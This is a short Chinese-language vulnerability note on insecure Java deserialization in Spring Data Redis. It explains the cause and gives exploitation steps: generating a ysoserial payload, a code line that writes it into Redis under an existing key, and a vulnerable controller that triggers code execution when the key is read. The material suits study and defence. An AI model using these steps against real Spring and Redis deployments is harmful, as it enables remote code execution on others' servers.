Spring Data Redis不安全反序列化
Spring Data Redis 概述
Spring Data Redis是更大的Spring Data家族的一部分,提供从Spring应用程序轻松配置和访问Redis。Spring Data Redis在将数据写入Redis之前首先序列化数据。默认情况下,使用Java原生序列化进行序列化。
不安全反序列化
当Spring Data Redis从Redis检索数据时,存储的字节码会被反序列化。由于在反序列化过程中目标类没有被检查或过滤,这可能导致远程代码执行。
利用示例:
使用ysoserial生成payload
将生成的payload写入Redis:
// 尝试选择Redis中已存在的键,以便Spring检索数据时代码执行可以开始 redis.set("\xac\xed\x00\x05t\x00\brebeyond", payload);
触发或等待Spring检索数据,易受攻击代码示例:
@Controller public class HelloController { protected RedisTemplate<Serializable, Serializable> redisTemplate; @GetMapping("/") public String index() { Object result = redisTemplate.opsForValue().get("rebeyond"); return "index"; } }
服务器成功启动计算器:
调用栈如下:
参考
最后更新于